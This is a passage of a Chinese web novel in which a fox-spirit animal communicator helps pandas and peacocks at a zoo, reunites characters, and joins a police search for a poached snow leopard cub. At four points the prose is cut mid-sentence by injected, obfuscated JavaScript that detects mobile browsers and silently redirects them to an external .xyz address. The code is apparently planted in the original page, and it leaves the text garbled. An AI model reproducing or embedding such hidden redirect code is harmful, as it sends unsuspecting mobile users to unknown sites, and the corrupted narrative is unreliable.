宋姐接着说：“你们看，那个就是盼盼，它以前很活泼的，不知道怎么回事，现在变成这样了，除了吃饭睡觉就坐在那里，这样怎么行哦，都超重了……麻烦沟通师帮忙看看，这孩子到底怎么回事。” 熊猫馆由室内馆和室外馆两部分组成，室内馆熊猫和众人之间隔着厚厚的玻璃，除了饲养员以外无法和熊猫接触。 小柳只能前往室外馆，在栅栏外探着个脑袋，等待饲养员拿香香的食物把盼盼引诱出来。 有了食物的刺激，盼盼终于舍得挪窝了，叼着小黄鸭慢悠悠地来到室外区域，一步三回头，似乎对室内馆的小角落很是不舍。 小柳抓住机会用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126322|180066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妖法向盼盼发出信号，碍于人多眼杂，她只能同时大声喊出要对盼盼说的话：“盼盼，你为什么总是坐在大石头旁边？” 盼盼发现有人对自己说话，茫然地看向小柳的方向，刚想说点什么，就发现吃饱喝足的和和正往室内馆走去，盼盼一下子显得特别慌张，饭也不吃了，叼着小黄鸭急忙跟在和和屁股后面赶去室内馆。 盼盼边跑边和小柳含含糊糊地说：“谁都不许抢我的石头。”只留给小柳一个背影。 小柳扭头把盼盼的话转述给宋姐，问道：“宋姐，盼盼最近有没有被别的熊猫抢过东西？” 宋姐手托着腮回想，一直站得远远的李爷爷出声提醒：“盼盼的鸭子不是被和和抢了吗？”他还是不肯跟小柳交流，只是对着宋姐说。 宋姐恍然大悟，“对，前段时间盼盼特别喜欢一只小黄鸭，和它现在嘴里叼的那只一模一样，后来被和和抢走了，两个娃还打了一架，我们又给盼盼补了一个一模一样的小黄鸭才不打架了。” 木青杨扶着小柳从垫高的凳子上跳下来，小柳对着众人说：“那就是了，盼盼生怕和和抢他的石头，一看到和和往室内馆走，它就着急跟过去。” 小柳带着众人又回了室内馆，果然盼盼又稳稳地坐到了它的专座上，一脸满足地抓着小鸭子玩，时不时还在大石头上蹭蹭后背。 跟坐在室内馆稳如泰山的盼盼耗下去也不是办法，小柳决定先跟着和和，趁它出去玩时，找机会沟通。 不一会儿贪玩的和和就回到了室外馆，众人也跟上去，换了沟通对象。 小柳先是询问了小黄鸭事件的经过，又问了和和对盼盼的看法。 大家这才知道，原来前段时间盼盼食欲不振，李爷爷每天都来关心盼盼，忽视了和和，所以和和因为嫉妒才故意抢小黄鸭，抢到手了气也出了，和和对盼盼没有敌意，从始至终把盼盼当成亲兄弟。 李爷爷一听小柳连盼盼得了肠胃炎，不愿意吃饭都知道，震惊地走上前，仔细听小柳说话，没想到这小姑娘有真本事。 搞清楚了前因后果，小柳接下来的任务便是和盼盼沟通，让他不要因为害怕失去石头坐着不动，重新变回一只活泼爱运动的健康大熊猫。 这次李爷爷主动请缨，将盼盼引导至室外区，方便小柳进行沟通，和和及其他两只熊猫也都很识趣，离盼盼的地盘远远的，生怕刺激到它。 “盼盼，你不要害怕，石头不会被抢走的，能告诉姐姐你为什么喜欢那块大石头吗？” 原来盼盼喜欢在大石头上蹭痒，吸取了上次抢夺小黄鸭的经验教训，它决定用坐着不动的方式占据这块蹭痒宝地。 盼盼的想法让在场所有人都哭笑不得，小柳再三跟它保证石头不会被抢走，李爷爷和宋姐都会帮它守护领地，而且和和及其他熊猫都不会觊觎石头，这才劝好了固执的盼盼。 经过小柳的沟通调解，盼盼返回室内区后，在大石头上蹭了好几下后背，然后依依不舍地走开了，久违地爬上了树。 李爷爷激动地拉着小柳的胳膊说：“这大胖小子终于肯运动了！沟通师您真神了！” 镜头拍下了这一幕，小柳用实力博得了动物园同事们的信任。 18. 碰巧 告别了熊猫们，众人在动物园职工食堂中解决午饭，小柳吃得正香，手机叮叮咚咚，周家宝发来了信息。 “小柳，你现在在哪儿呢[微笑]” 小柳放下勺子，回复消息：“西北野生动物园。” 木青杨见小柳忙着回消息，压抑住好奇的心情，用尽量平淡的语气问道：“谁的信息呀？” “周家宝，他说他这几天刚好在野生动物园附近看项目。”小柳将手机递给木青杨，小心询问：“他说想来动物园逛逛，顺便和我们见见，店长你看行吗？” 乐子坐在木青杨对面，听小柳说有朋友要过来，很自然地接话：“小柳老师有朋友要来动物园玩吗？如果要来的话我可以带他走员工通道，省得买门票。” 他一抬头，看到木青杨明显变了脸色，乐子感觉自己说错了话，不敢再看木青杨，默默地埋头苦吃。 小柳对人类的情绪没有那么敏感，还在眼巴巴等着店长的回复。 木青杨板着个脸，边吃饭边说：“你自己觉得呢？你说行就行。” “哦好的，那我跟他说让他过来吧，还不用花钱呢。”小柳喜滋滋回复信息去了。 木青杨刚想制止，不小心一口米饭呛住，咳得脸都红了，同为男人，乐子对这种郎有情妾无意的苦闷深有同感，递给木青杨一沓纸巾的同时给了他一个同情的眼神。 即便木青杨再排斥，下午周家宝还是出现在了他面前。 下午的拍摄场地是鸟类区，小柳忙着调解总是打架的两只公孔雀，试图用“话疗”解决它们的矛盾，两只孔雀唰地展开华丽的尾羽，威慑对方，谁也不让着谁。 孔雀开屏视觉效果拉满了，乐子带着摄影师咔嚓咔嚓积累着素材。 木青杨和周家宝却置身事外，两人你来我往聊着天。 “周总来考察什么项目？怎么正好这么巧？”木青杨看似惊喜地询问。 周家宝料到木青杨会刨根问底，早就想好了说辞，“一个别墅项目，刚好在动物园附近，小柳出门前跟我说过要来动物园，正好巧了，来看看你们。”说完他还给了木青杨一个挑衅的笑。 木青杨阴阳怪气地问：“这附近荒郊野岭，什么别墅会建在这儿呢？” 一说到建筑，算是来到了周家宝的主场，毕竟他是新川建设挂了名的高管，虽然除妖师当得马马虎虎，建筑领域却耳濡目染了解颇深。 “店长您这就不知道了吧，别墅都建在郊野，越是风景好、空气清新的地方，越能卖高价，这边远离市区，地大人稀，就在那边半山上，建一些配套设施，有的是人买。”周家宝谎话张嘴就来，临了还补充一句，“店长平时也不买别墅，不知道也正常。” 面对这么明显的言语挑衅，木青杨刚想发作，小柳“哎呦”一声，他顾不上跟周家宝一般见识，跑向小柳。 原来是孔雀打架误伤了小柳，其中一只公孔雀向另一只冲过去时，脚爪刚好划到了小柳的小腿，腿上一道红印子，瞬间渗出血。 木青杨赶忙扶小柳坐下，拍摄中止，众人围过来，小柳忙说没事，叫大家不要担心。 木青杨蹲下身子，查看小柳的伤口，奇怪，明明刚刚渗了血，不过眨眼的功夫，血痕还凝结在皮肤上，却连一点伤口都看不到，红印子也在以极快的速度消失。 他知道小柳并不是普通人，多半是因为妖怪的恢复能力强，为了不引起他人的注意，木青杨只好用手捂着伤口，跟大家解释只是皮外伤，一点小剐蹭，请乐子取个创可贴来。 周家宝打开包包，边翻找边说：“不用麻烦，我这儿有。” 他的包里常备各种跌打损伤药物，都是妈妈给准备的，毕竟儿子是除妖师，万一碰到妖物受了外伤，能及时包扎，在妈妈的强烈要求下，周家宝只要外出就会带着一个医药小包。 “给。”周家宝把创可贴递给木青杨。 木青杨冲他说了谢谢，接过创可贴，贴在了早已复原的伤口上。 小柳不好意思地说：“刚刚是我没注意，麻烦大家了，我们接着拍摄吧，这两只太能打了，我还是得去劝架。” 小柳继续苦口婆心地告诫孔雀们不要因为求偶打架，园区里这么多雌孔雀，各找各的伴不好吗？完全没必要为了一只孔雀小姐大打出手。 两只公孔雀因为不小心伤到小柳，有点愧疚，再听小柳说话时也冷静了不少。 小柳想起了月婷姐告诉自己的话，生搬硬套过来：“你们现在最重要的不是打架，而是要认清自己的心，鸟类区里这么多雌孔雀，为什么单单喜欢那一只，你们想过吗？” 公孔雀们低着头，似乎在沉思。 小柳看“话疗”似乎起了作用，一鼓作气，接着说道：“你们就是见的世面太少了，接触的雌孔雀太少，才会这么执着，答应姐姐不要把力气用在打架上，用在和更多雌孔雀交朋友上好吗？” 公孔雀们还是低着头，爪子动来动去，完全没有刚刚针锋相对的架势了。 小柳叹了口气，说道：“好了，把尾羽收起来吧，大家还是好朋友。” 开屏的孔雀们不好意思地收拢了尾羽，算是握手言和了。 “哦了，谢谢小柳老师，辛苦啦，今天就到这儿吧。”乐子上前递给小柳一瓶水，口干舌燥的小柳一口气喝了半瓶。 第一天的拍摄任务相对轻松，结束拍摄后还有两个小时才到闭馆时间，乐子让摄影师先行下班，自己则陪着小柳、木青杨、周家宝三人逛起了动物园。 木青杨拿着相机帮小柳拍照片，一开始他还担心小柳不是人，会不会像鬼故事的鬼影一样拍不出来，事实证明他的担心是多余的，小柳大大的笑容清清楚楚出现在了照片上。 木青杨自嘲地笑笑，感概自己真是想象力丰富，小柳都能行走在阳光下、拍短视频了，拍照怎么可能会有问题，真是关心则乱，智商都下降 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126323|180066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 到了大象馆，乐子邀请大家骑大象，小柳很兴奋，第一个骑上去，木青杨和周家宝正好一左一右站着，乐子趁机提出给三人合影。 周家宝和木青杨虽不对付，在热闹开心的氛围里，也暂时放下了芥蒂，随着乐子喊出“茄子”，三人拥有了第一张合照。 …… 快乐的游玩时光马上过去了，乐子带着三人回到停车场，周家宝住在市区酒店，乐子主动提出要送他回去。 车子刚启动，乐子突然接到了园长的电话，他示意大家别出声，打开了蓝牙免提。 园长的语气完全不像饭局上那么亲切，非常强硬地对乐子说：“月底前把系列视频发出去。” 乐子解释道：“再过五天就到月底了，拍摄时间暂定四天，咱们就一个剪辑师，时间根本来不及呀。” 可园长那边完全不听解释，依然坚持说：“我们下月初就得看到宣传结果，毕竟是我们动物园第一次尝试跟自媒体博主合作，好多人都等着看呢。加班拍摄也罢，你帮着剪辑也罢，反正工作必须完成。” 乐子摇摇头，嘴上却顺从地说：“好的领导，知道了。” 对方指令已经传达到了，“啪”得挂断了电话。 小柳惊讶地问：“这是张志鹏园长吗？”她仍不敢相信电话对面是饭局上平易近人的圆圆领导。 “对呀，看不出来吧，没办法，领导嘛，都这样。”乐子对这种程度的变脸早就习以为常了。 小柳着急问道：“乐子，那现在怎么办，我们要不要加班拍摄？” “就算咱们能加班，动物也加不了班呀，这次系列准备拍摄十条视频，一天两三条已经很多了，还不排除各种突发事件耽误时间。” 木青杨也问乐子他能不能帮忙，乐子想了想，说道：“拍摄由摄影师负责，这个没法变动，现在最大的问题是剪辑师太少，只有一位，素材来不及剪，我倒是可以去帮忙加班剪辑，但平时跑腿开车什么的杂活就没人干了。” 周家宝听乐子这么说，心里乐开了花，正发愁找不到借口赖在小柳身边呢，没想到借口这就送上门来了，“我来开车吧，杂活有我和店长呢，我们两个大男人一起帮忙，不会出岔子的，你去忙剪辑吧。” 木青杨也想主动请缨，可他不会开车，只能让周家宝抢了先。 乐子还是有些顾虑，迟疑地说：“可你们毕竟不熟悉动物园……” 小柳灵机一动，提议道：“可以让李爷爷和宋姐带我们呀，大家都这么熟了！” 乐子笑着说：“这倒是个好办法，那就这么说定了，周总负责开车，店长负责杂活，园内向导找宋姐。这样我明天就不过去了，和我们剪辑师在办公室里剪视频。” 到了小柳和木青杨的酒店，二人先下车，周家宝接过方向盘，先把乐子送回住处，自己开着车回了市里酒店，准备第二天一早退房，搬去和小柳、木青杨同住。 19. 重逢 晚上九点半，小柳趴在酒店床上，翘着两只脚把今天拍的照片全部勾选，发给月婷姐、王奶奶和鹏哥。 鹏哥回复了很多张多宝的校园生活照片，还没等小柳接着说话，就打来了视频电话。 “鹏哥！”小柳从床上坐起来，整理睡衣接通了电话。 鹏哥的大脸占据了整个屏幕，一脸灿烂地跟小柳打招呼：“好久不见啊，小柳。”小柳出发前已经跟鹏哥说过了自己要去西北动物园，于是鹏哥接着问：“今天开工了吗？还是纯游玩？” “上午拍了熊猫，下午拍了孔雀，今天工作不忙，还逛了两个小时动物园呢。”小柳一五一十回答。 “多宝，多宝，来看看你小柳姐姐！”鹏哥扯着嗓子喊，招呼多宝过来，不一会儿，屏幕里缓缓升起一颗狗头。 多宝看起来比之前圆润了不少，鹏哥单手抱它都有点吃力，多宝见了小柳很兴奋，伸出舌头就要舔手机，鹏哥眼疾手快捏住了它的嘴筒子。 “养得不错吧，到时候让你们店长把多出来的伙食费结一下子嗷。”鹏哥故意逗小柳。 小柳捂嘴笑笑说：“我也挣钱了呢！这次出差就是动物园请我来的，收工的时候还能领工资呢！到时候我给你结账，嘿嘿。” 鹏哥一见这孩子当了真，不好意思地说：“跟你开玩笑呢，这实心眼子，多宝是自家孩子，出啥伙食费啊，我们学校全给它免了。” 他把手机屏幕怼多宝脸上，在画面之外跟小柳说：“你俩也好久没见了，快说说话吧。” 小柳经常能收到鹏哥发来的照片，知道多宝在狗狗学校生活很幸福，她跟多宝讲述了今天和熊猫、孔雀沟通时发生的新鲜事，多宝嗷呜嗷呜地回应着。 鹏哥举着手机，虽然听不懂他俩的加密对话，但能看出一人一狗心情都非常好，多宝的尾巴都快翘上天了。 挂断电话时，小柳看了眼时间，刚好晚上十点钟。 月婷姐这时应该在忙着开工，王奶奶估计早就睡下了，所以两人都没回消息。小柳准备洗个澡早点睡觉，明天还得早早起床工作。 等她洗完澡一看手机，发现月婷姐的信息弹了出来：“这么多动物呀，玩得开心哦。刚刚没看手机，店里来了个好久没见的朋友，有点忙，明天我打视频给你。” “哦哦好的，月婷姐你忙你的。” “好久没见的朋友”，小柳隐约觉得这里面有点故事，今天本想跟月婷姐说周家宝也要跟他们一起工作，既然月婷姐忙，那就之后再跟她聊天吧。 此时，月婷正带着这位“好久不见的朋友”穿过会所昏暗的走廊，前往自己在走廊深处的办公室。 突然，半道上一个包间的门开了，走出一位穿金带银的富态姐姐，约莫四十多岁，手里拿着空空的高脚杯，眼神迷离。 月婷一看是老客户，赶紧迎上去，甜甜地叫着“萧晴姐，您来啦。”她给富态姐姐身旁的帅哥使个眼色，“小伍，还不快扶着点儿。” 小伍听了老板的话，立刻哄着萧晴说：“姐，酒杯都空了，咱回沙发上喝吧……” 萧晴没搭理他，眨眨眼，直勾勾地盯着月婷身后的“朋友”看。 她努努嘴，问月婷：“小婷呀，这是新来的服务生吗？你哪儿搜罗来这么多帅哥的呀！西装笔挺的，这不活脱脱裴勇俊嘛！到姐姐包间来嘛~” 包间里，萧晴的姐妹们也都凑到门口，一口一个裴勇俊，直勾勾的眼神火热得能烫死人。 月婷挪挪身子，挡在“朋友”身前，抱着萧晴的胳膊略带撒娇地说：“姐，这不还得培训吗？他刚来，傻冒一个，什么都不会，等培训完了，我让他跟着小伍一起陪您。” 月婷和萧晴对视，萧晴看向月婷发紫的瞳孔，头昏昏沉沉的，脑子里只有一个想法“不要挡道，回包间去”，萧晴嘴里念叨着“回包间”，在小伍的搀扶下，带着一众姐妹打道回府。 “大庭广众，就这么用妖术，合适吗？” “周陈飞，你这人怎么跟以前一样，一本正经怪惹人讨厌的。”月婷没回头，高跟鞋踩在大理石地面上，嗒嗒作响，加快步子进了办公室，周陈飞紧随其后，关上了门。 事情还要从两天前说起。 小柳和木青杨出发去机场前，当天一早月婷便来到木雕店，带着绵绵和豆豆上了车，直奔会所。 六子嘴里嚼着早餐饼干，开着黑色轿车，紧随其后，一路跟到店门口。 “周总，王月婷的基本信息和几个关键地址都发过去了，您看看。” 周陈飞放下吃了一半的早餐，回书房打开电脑查看，这些年月婷可以说是顺风顺水，在南方下海经商，做女装生意赚到第一桶金，后来因为王妈妈身体不好，关了服装店回来开了家私人会所，方便照顾王妈妈。 “月影一号”开业不久，相关信息还比较少，周陈飞惊讶地发现这间会所离“新川建设”大楼不过五公里远，原来十年未见的人，就活跃在离自己这么近的地方。 这两天周陈飞一直在迟疑，带着云雀的灵魄，就是为了和月婷见面，找机会把她和狐妖一起封印，完成十年前中断的任务，可当她的行踪摆在自己面前时，周陈飞犹豫了。 要去吗？视而不见不行吗？ 十多年前的周陈飞还是个大学生，月婷是大他两届的学姐。当他见到月婷的第一眼便愣住了，不单单因为月婷面容姣好，是公认的校花，最重要的是，他分明在月婷身上闻到了妖气。 老爹身体不好，周陈飞急切地想成长为真正的除妖师，为接班做好准备，而除妖师成熟与否的标志便是封印妖物。 发现月婷是妖让周陈飞很激动，他求着老爹让他带上云雀的灵魄，接下来便是处心积虑地偶遇接近、互生好感，可惜猎人心性不定，反被猎物诱惑，等周陈飞反应过来的时候，这场本该顺利进行的狩猎，早已掺杂了太多私人感情。 就在他左右为难之际，老爹病危，因着血缘，也因着这只遗传下来的“狗鼻子”，未成功封印妖物的周陈飞还是有惊无险地成为了周家新任家主。 到了这一步，封印月婷已经不是必须要做的事情了，可周陈飞再也不能和月婷混在一起，他的肩上有了不可推卸的家族重任。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126324|180066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 于是，就像月婷的爸爸一样，不告而别成了最好的选择。 就去看看，反正装作是云雀也不会引起怀疑，先不管要不要封印，就去看看…… 念头一起，满脑子都是她，周陈飞纠结了整整两天，还是在第二天晚上准时出现在“月影一号”门口。 他的目光掠过店门口“只招待女宾”的招牌，推开了会所的门…… “你没看见门口的牌子吗？只招待女宾。”月婷倚在大班椅上，抱着臂问眼前西装革履的男人。 周陈飞正要答话，月婷又接着说：“打扮成裴勇俊，也不会招你做招待的，我不喜欢这一款。” 周陈飞垂眸笑笑，走到办公桌前，双手撑着桌面，身体前倾，居高临下地对月婷说：“好久不见啊，小乌鸦。” 月婷气不打一处来，腾得一下站起身，生气地说：“叫谁小乌鸦呢？没大没小！你怎么知道这是我的店？” 周陈飞还是一副气定神闲的样子，从钱夹里取出一张名片递给月婷。 “新川建设总经理，哦……你现在出息了嘛。” “我们公司应该有人来过，毕竟漂亮老板的传闻都传到我耳朵里了。”周陈飞收起钱夹，手指拂过钱夹里月婷的照片。 “坐吧周总，找我什么事？来消费的吗？十年不见喜欢男人了？”月婷指指沙发，示意周陈飞坐那里，她很想问问周陈飞当年为什么不告而别，但自尊心让她开不了口。 “开什么不好，非开个鸭店。” 月婷很讨厌周陈飞用这种语气跟自己说话，十年前他还年轻的时候就像个老成古板的“爹”，这么多年没见，一开口还是理直气壮的点评，从“小爹”变成了“大爹”。 “正规营业场所，而且你不都看见了吗？客人很守规矩。” “用妖术维持秩序，王老板不累吗？” 管得着吗你？月婷翻了个白眼，没有回答他，而是直截了当地说：“云雀，你很讨厌。” “知道了，我是很讨厌。”周陈飞边说边拿着手机发了个好友申请。 月婷手机的消息提示音响起。 “通过一下，我发的好友申请。” 月婷点开消息，不通过显得太小气，犹豫几秒，最终还是按下了通过。 “好久没见了，今天就是来看看你，没别的意思，时间也不早了，我先走了，你忙吧。”周陈飞说完冲月婷笑笑，自顾自地出了门。 纸巾盒晚了一步，没砸到人，砰的一声掉在门口。 月婷气愤地抓着头发，揉乱了发型，说来就来说走就走，这么多年了，这个人还是这么坏！ 周陈飞在走廊里刚好遇到从包间出来拿酒的小伍，小伍跟他打招呼：“欸，你是新来的吗？谁给你做培训啊？” 周陈飞一个冷冰冰的眼神飞过去，一句话没说，径直离开。 小伍被吓了一跳，老板这是招了个大爷吗？这么凶！真不知道谁负责培训他，难搞，会有姐姐喜欢他吗？太可怕了…… 喜欢他的姐姐暂时还没有出现，被他气得半死的姐姐倒是有一个。 20. 雪豹 翌日清晨，小柳接到了王奶奶的慰问电话，上次住院理疗效果不错，老人家起得早，早早便出门锻炼了，精神头恢复得很好。 小柳和奶奶寒暄几句，彻底从睡梦中清醒了，她特地换上一条长裤，遮挡昨天被孔雀抓伤的痕迹，如果被大家发现伤口已经完全消失，一定会引起怀疑，她为自己的谨慎、机智点了个赞。 木青杨显然也想到了这一点，拿着几个创可贴早早敲门，本想叮嘱小柳把伤口贴好，一看小柳换上了长裤，心里讶异，没想到这小狗还挺聪明，知道给自己遮掩。 二人在酒店餐厅吃完早饭，下楼发现周家宝已经在大堂等着，他刚预定了房间，寄存好行李，正想给小柳发消息。 “家宝，这么早啊，你吃饭了吗？”小柳迎上去笑眯眯地问。 “吃过啦，今天和宋姐约了八点半进园，那咱们现在就出发吧。”周家宝看看小柳，又看看木青杨。 “走吧，别让人等急了。” 木青杨一声令下，周家宝开着乐子的车，载着两人开向动物园。 …… 宋姐一见小柳便挽着她的胳膊，故意打趣道：“小闺女你来啦，又带着这俩保镖？” 小柳不好意思地说：“都是同事……咱们今天任务是什么？” 宋姐对动物园十分熟悉，不仅仅是熊猫馆，连其他区域的动物们都能一一叫上名字。 三天时间，宋姐带着小柳沟通了剩余八只动物，有不愿意□□的兔狲、总冲着游客吐口水的黑猩猩、因不明原因掉毛的老鹰等等。 不得不说，动物们的想法真的让人难以捉摸，平日里不起眼的小事都有可能让他们性情大变，做出匪夷所思的举动。 院长很守信用，拍摄任务完成后马上安排打款，小柳当天晚上便收到了这几天的工资。 小柳在木青杨身边数着钱，个、十、百、千、万……她整个人开心地扑到了木青杨身上，激动地凑近他的耳朵，难掩颤抖的声音，小声说：“店长，我们收到了五万块！” “低调、低调。”木青杨脖子被她搂着，无奈地笑笑，真是只没见过世面的小狗。 不过本次工作还差最后一步，园长要求小柳留在酒店多待两天，等着视频都剪辑好，确认没问题了才能回家。 园长解释这么要求是为了有需要时补录镜头。 小柳自然没问题，毕竟动物园给了五万块，这个时候别说补录视频了，就算让她重拍一遍也不是不能商量。 小柳还在蹦蹦跳跳，连手机震动都没听到，还是木青杨提醒，才接起了乐子打来的电话。 “喂，小柳老师，今天晚上你有安排吗？有个突发情况，想请你过来一下。” 乐子这个时间按理来说应该正在加班加点剪辑视频，能有什么突发情况呢？小柳打开免提好奇地问：“什么突发情况呀？我和店长倒没什么事。” “园长刚打来电话说今晚警察抓获了一帮非法围猎雪豹的嫌疑人，解救出两只雪豹，听说状态不太好，兽医已经去了，咱们动物园也有同事在现场等着，等雪豹情况稳定了，先安置到动物园。园长让我也过去一趟，看看能不能拍一些视频素材，我在想，如果带个兽语专家过去会不会好一点？” “兽语专家是我吗？”这个称呼也太高级了，小柳一下子有点受宠若惊，她抬头看看店长，木青杨点点头，小柳便继续回复道：“如果可以的话那当然好了，我也希望能帮上忙。” “行，那就这么说定了，我把地址发给你。” 小柳给周家宝打了个电话，家宝在房间里刚洗完澡，听说要外出的事情本想推辞，无奈会开车的就他一个人，只好答应，带着小柳和木青杨出发。 …… 这次的目的地是七峰山，顾名思义七座山峰相连，绵延无际。 小柳他们来到山脚下时，乐子到这儿已有一会儿了，现场人声嘈杂，两只雪豹被打了麻醉枪，被嫌疑人塞在一只铁笼子里，被解救出来后，麻药药效渐渐消退，两只雪豹攻击性非常强，兽医都近不了身。 “胡队，抓着的那几个先带回局里吗？”警察小哥跟队长请示。 “带回去吧，同伙都在这儿了，等会儿让兽医院把雪豹拉走，动物园的人也跟着兽医一起。”胡队是个阴沉着脸的寸头中年人，眉头紧皱着，不怒自威，小柳刚看了他一眼，对方很敏锐地察觉到了她的目光，立刻看了回来，小柳马上尴尬地移开了视线。 “小柳老师，咱们去看看雪豹吧。”乐子带着小柳一行人走到了一辆小面包货车，后车厢大开着，装着一只大铁笼子，两只雪豹蜷缩在一起，见人靠近立刻哈气恐吓。 它们的哈气没有什么实际含义，只是为了震慑，小柳试图安抚雪豹的情绪，温柔地说着“不怕、不怕”，慢慢地靠近笼子。 可雪豹对于小柳的示好并不领情，其中一只猛地冲向小柳，被铁笼子一挡，发出很大的撞击声。 事发突然，木青杨也被吓了一跳，赶紧把小柳拉了过来。 “没事，店长，它们只是害怕。”小柳接着尝试，不断地告诉雪豹它们已经安全了，非法围猎的坏人已经被逮捕，它们会有新生活，她一步步靠近，最终站在笼子旁，两只雪豹挤在一起，眼睛里除了惊恐，还多了几分好奇。 小柳见雪豹稍微放松下来，便想招呼兽医来打麻醉，没想到话还没说出口就听到其中一只雪豹在呼救。 “救救我们，还有一只。” 小柳追问：“你们告诉姐姐，还有一只是什么意思？” 两只雪豹惊吓过度，说话都是断断续续，小柳只能把这只言片语拼凑起来，尽量理解它们的意思。 雪豹们的意思是还有一只小雪豹流落在外，没有被救助，而且非法围猎的嫌疑人没有全部落网，小雪豹正是被那个漏网之鱼抓走了。 警队那边已经在准备收队了，事不宜迟，乐子带着小柳赶紧把最新消息告诉胡队。 “你们是？”胡队听到这个消息，第一反应是询问来人的身份。 乐子急忙解释说自己是动物园的工作人员，小柳是动物园请来的兽语专家。 不解释不要紧，一解释反而起了反效果，胡队冷哼一声：“兽语专家查案呐。”说完便对着警察小哥大声吼道：“磨蹭什么呢！还不赶紧带人走！” 警察小哥吓得一激灵，忙连声答应，手足无措地把嫌疑人往警车里塞。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126325|180066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这是完全被无视了啊。”周家宝看着气冲冲上车的胡队，小声嘟囔了一句。 警队以为犯罪分子已经被一网打尽，可以收工了，可小柳既然听得懂雪豹的话，就没办法视而不见、见死不救。 她跑到胡队车窗前，“咚咚咚”一顿敲，硬是烦得胡队把车窗摇了下来。 小柳再次重申了第三只雪豹和漏网的嫌疑人还在山上，请胡队派人接着搜捕。 胡队迟疑了几秒，兴师动众夜半上山不是一件容易的事，而且眼前这个所谓的兽语专家太过离奇，相信科学这么多年的胡队实在是信不过小柳，他摇摇头，准备再次拒绝。 就在这时，后座上一个干脆利落的女声响起，“胡队，我去吧，上山巡一圈，这样也更放心。” 说话的是今年刚入职的女警小姚，既然她主动请缨，胡队也不好再拒绝，只好同意了她的提议，并且命令后座上另一位警察小哥昊子和小姚一起去。 “谢谢各位警官，你们辛苦了。”小柳连连道谢。 随着警车开走，安静下来的雪豹们也被兽医接走了，小柳、木青杨、周家宝、乐子，再加上两名警官，一行六个人上了山。 七峰山绵延不绝，再加上晚上能见度不高，这么贸然找，等同于大海捞针。 好在山里有不少动物，树上的鸟、水里的鱼、地上的田鼠给了小柳指引，听它们说，山里确实藏了一个人，还背着个大布兜子。 同行几个人里，木青杨、周家宝知道小柳不是普通人，无条件相信她的判断，乐子经过几天的拍摄剪辑也深觉小柳精通兽语，剩下两位警官，虽然心里犯嘀咕，可眼下也没有更好的方式判断嫌疑人的藏身之处，只能跟着小柳走。 为了不打草惊蛇，几人连手电都没开，就这么摸着黑深一脚浅一脚地往前行进。 等到了一处密林前，小柳猛地停住了脚步，抓住身旁的木青杨和周家宝，大家一个抓一个，整个队伍都停了下来。 小柳听到了前方某棵大树上有窸窸窣窣的声音，像是人在爬树，继续听下去，那人还脚滑了一下，“哎呦”叫出声。 身为狐妖，小柳的听力和夜视能力比人强太多，其他人对于前方的异样浑然不觉。 她小声提醒大家，嫌疑人就在前面的树林里，正潜伏在右方某棵大树上，他可能就是因为上了树，隐藏在茂密的树冠里，再加上傍晚光线昏暗才逃脱了追捕。 受过专业训练的两位警官手枪上膛，在前方开路，时刻准备追击。 乐子走在最后，一个不小心被地上的藤蔓绊倒，扭到了脚，当即倒地，捂着左脚，疼得直吸气。 大家扶着乐子靠在一棵大树下，让他稍作休息，其他人则继续向前追嫌疑人。 小柳在夜色掩护下，趁着别人不注意，蹲下身子，用妖术帮乐子止痛，拍拍他的胳膊，示意他好好休息。 大家走后，乐子才后知后觉的发现，脚竟然一点都不疼了。 这边乐子还在想要不要去追上大部队，前方密林里已经传来了小姚警官的怒喝：“站住！” 嫌疑人一看这么多人都追了上来，从树上跳下来，背着布兜子，拼了命地逃窜。 21. 坠崖 刘长顺从树上跳下来，来不及站稳，便跌跌撞撞往密林深处钻。 后背上的布兜子很沉，麻绳勒着他的肩膀，嵌进皮肉，硌得他生疼。 可即便再累再疼，他都舍不得撒手，他背着一只尚未成年的小雪豹，在刘长顺眼里，这就是一兜子钱。 